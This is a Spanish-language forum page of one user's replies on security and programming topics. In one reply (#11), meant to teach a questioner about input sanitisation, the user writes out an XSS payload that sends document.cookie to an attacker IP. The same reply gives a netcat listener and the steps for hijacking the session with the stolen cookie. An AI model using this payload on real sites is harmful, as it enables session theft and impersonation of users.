Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - animanegra

#11
Cita de: MiguelCanellas en 19 Diciembre 2019, 15:57 PM
Lo que hago para eso (aunque no tenía noción) es validarlo, si en principio yo espero que el dato sea int, string, etc, también si es string que tenga un max de caracteres...

Volviendo a eso, esto de "inyección reflejada" ¿es solamente para decirle a el usuario un "mensaje falso" más allá de que esa variable puede ser usada como parámetro en una función, el único peligro real sería ese... ¿no? más allá de si se creen que los llame estúpidos xD... ¿no existiría una vulnerabilidad y no haría falta definir otra vez la variable como hice antes?

¿Validas en cliente o en servidor? Ten en cuenta que toda variable $_GET $_POST y algunas de las variables de $_SERVER deben de limpiarse en el PHP para poder usarlas de forma segura antes de utilizarlas. (En general cualquier cosa que venga del usuario)

En tu caso,por ejemplo si te pueden meter como valor de variable:


<img src="" id="lalala"></img><script> lalala.src="http://IP_atacante:54471/"+document.cookie; </script>


Y si ponen un servidor a escuchar en la IP del atacante, por ejemplo con un netcat:


nc -l -p 54471


Desde el equipo a la escucha podrían obtener la cookie de sesion, e impersonar al que ha pinchado al URL. (O ha visitado la página si es persistente.)

Despues el usuario no tiene mas que visitar la pagina, poner la consola de javascript y poner en ella:


document.cookie=COOKIE_COPIADA



No se si se entiende. :\
#12
Seguridad / Re: Programa de fuerza bruta
10 Diciembre 2019, 21:30 PM
Bueno, para ser coherente con la verdad la fuerza bruta al final siempre encuentra la contraseña correcta. Solo tienes que disponer mucho del recurso más relevante. El tiempo suficiente. :P
#13
Pero el tema es que la longitud de la clave es la misma que los datos almacenados. Lo que almacenas en otros sitios no vale para nada, ose me refiero la longitud de los datos que almacenas de forma remota y de forma local son de la misma longitud. Entonces no veo muy bien la utilidad de tener esos datos que solo tienen sentido con tu password local almacenados de forma remota.
Osea, si la idéa es que no puedan coger los datos si no estás tu delante, bajo mi punto de vista, me parece casi mejor idea llevarte un USB/CD del mismo tamaño de los datos almacenados lleno de números aleatorios y descifras con eso cada vez que desees utilizar la base de datos. El USB por lo menos verás cuando te lo roban. :) Y no pueden cogerte las credenciales 365/24. La posibilidad de copia, la tendras igual, pero al menos no dependerás de como lo guarda un tercero y dependerá sólo de ti.
No obstante a nivel práctico, yo personalmente tiraria de cualquier cifrado simétrico con clave suficientemente larga.
Pero es sólo mi punto de vista. :) puedes no estar de acuerdo.
#14
Leyendo parece que se esta hablando de un Verman (o algo asi porque deriva en este tema la barca hacia lados curiosos :) ). No se si se ha dicho ya, pero lo de usar claves igual de largas que el mensaje esta muy bien a nivel teórico pero no funciona a nivel práctico.
Verman ya mola y cualquier equivalencia usando ordenación o cualquier otra cosa similar esta bien pero ninguna de las opciones (verman original o derivados) mola tanto a nivel práctico. Como le tienes que pasar al receptor la secuencia de caracteres por una via segura, y es del mismo tamaño, Joder simplemente pásale el mensaje por esa vía segura. :)
Para que el cifrado sea util, el intringulis del asunto siempre está en lo mismo, conseguir pasar la pass simétrica, que debería ser pequeña, por un medio seguro dentro de un canal inseguro y que el mensaje que sale tenga suficiente entropia. Y ahi el poder de cómputo tiene al voz cantante.
#15
El binario no es un lenguaje es una base numérica. Como base 10 llamada decimal, base 16 hexadecimal y base 2 o binaria.

¿Que demonios es eso de lenguaje binario?
#16
Scripting / Re: Ayuda para un novato en Bash
20 Noviembre 2019, 17:32 PM
Cita de: engel lex en 20 Noviembre 2019, 17:07 PM
no es un lenguaje de programacion, es un manejador de tareas por lotes... es decir, el que lo que hace sorbe todo es ejecutar programas y pasar paramentros

Entiendo a que te refieres, pero bueno, bash tiene variables, while, ifs, lectura de ficheros... decir que no es un lenguaje de programación.... creo que es bastante completo como lenguaje a pesar de sus obvias limitaciones. Al final, a nivel efectivo se tira de utilizar programas auxiliares para paliar sus posibles defectos, pero es bastante efectivo para pruebas de concepto rápidas. Yo no lo ningunearía. :)

Citar
Tengo que hacer un script que muestre mas o menos el mismo contenido que podemos observar si ejecutamos el comando top

A rasgos generales....
En el directorio proc tienes un monton de directorios con números, esos números son los números de procesos.
Dentro de cada directorio se encuentra el archivo status donde al hacer cat puedes ver información relativa al proceso.
El programa en bash que citas se deberá dar un paseo por todos los directorios que séan números obteniendo la informacion que contiene el archivo status dentro de ellos y formateandola para que te devuelva lo que desees.
Igual puedes empezar por mirar el contenido del archivo status de un proceso dado, compararlo con la información ofrecida por el comando TOP para identificar que información deseas mostrar y muestra sólo esos datos pormateándolos por ejemplo con printf.
Después monta un bucle para que haga lo mismo con cada uno de los directorios de procesos contenidos en /proc.
Creo que a partir de aqui, ya puedes empezar a buscar y trabajar.
#17
En mi github tengo implementado el Eliza en version hablada.

https://github.com/4nimanegra/TalkToMe

Usa la API de speech de google. Transformo lo que me hablan en texto que lo meto en el eliza que después el texto que saca lo lee. La interaccion es completamente con microfono y altavoz de movil.

No se si te servirá. Usa Cordova y los plugins:
cordova-plugin-tts
cordova-plugin-speechrecognition

Es una prueba de concepto programada en media hora por lo que no esperes ni interfaz, ni gaitas. Era para probar si podía hacer programas rápidos usando voz y altavoz. Es pantalla blanca y el elemento que escucha y habla. Le tendrás que dar los permisos que toque. Tienes el apk y los sources que son javascript.

Hay otro programa que lee lo que sale cuando sacas una foto, ahi se usa el ocr y el text to speech.

https://github.com/4nimanegra/leeme

misma historia, prueba de concepto muy rapida para probar. Pero tienes el código de ejemplo muy simple que funciona.

Saludos.
#18
Se pueden hacer exploits en casi cualquier lenguaje. El requisito probablemente más indispensable es que puedas sacar datos por pantalla y eso lo permiten todos. Por ejemplo, en javascript podrías generar un exploit y ejecutarlo via phantomjs para utilzarlo via terminal como entrada de pantalla para un pograma específico.
O hacer un html estatico y un codigo javascript para automatizar la explotación de un sqlinjection para atacar un sistema (o sistemas) web. Según las paticularidades del lenguaje hay algunos que son más propicios que otros.
#19
Hay un método mas laxo que no requiere hacer un storing de todas sesiones y realizar un destroy de las sesiones. Puedes utilizar un timestamp. En la sesion guardas que hora es cuando hace login y en la base de datos poner en la base de datos almacenas que hora es cuando cambie la password (poniendo solo en los datos de esa sesion el timestamp).
Si alguien entra, existe sesion y es mas vieja que el timestamp pues le quitas la información de la sesion y que tenga que volver a hacer login. No se si se entiende.
#20
En mi caso, cambia cada vez, no devuelve algo consistente. Habría que mirar si en media...

try{stack();}catch(e){console.log(i);}
196419 debugger eval code:1:31
undefined
try{stack();}catch(e){console.log(i);}
397489 debugger eval code:1:31
undefined
try{stack();}catch(e){console.log(i);}
598559 debugger eval code:1:31
undefined
try{stack();}catch(e){console.log(i);}
799629 debugger eval code:1:31
undefined
try{stack();}catch(e){console.log(i);}
1000699 debugger eval code:1:31
undefined
try{stack();}catch(e){console.log(i);}
1201769 debugger eval code:1:31
undefined
try{stack();}catch(e){console.log(i);}
1402839 debugger eval code:1:31
undefined

Saludos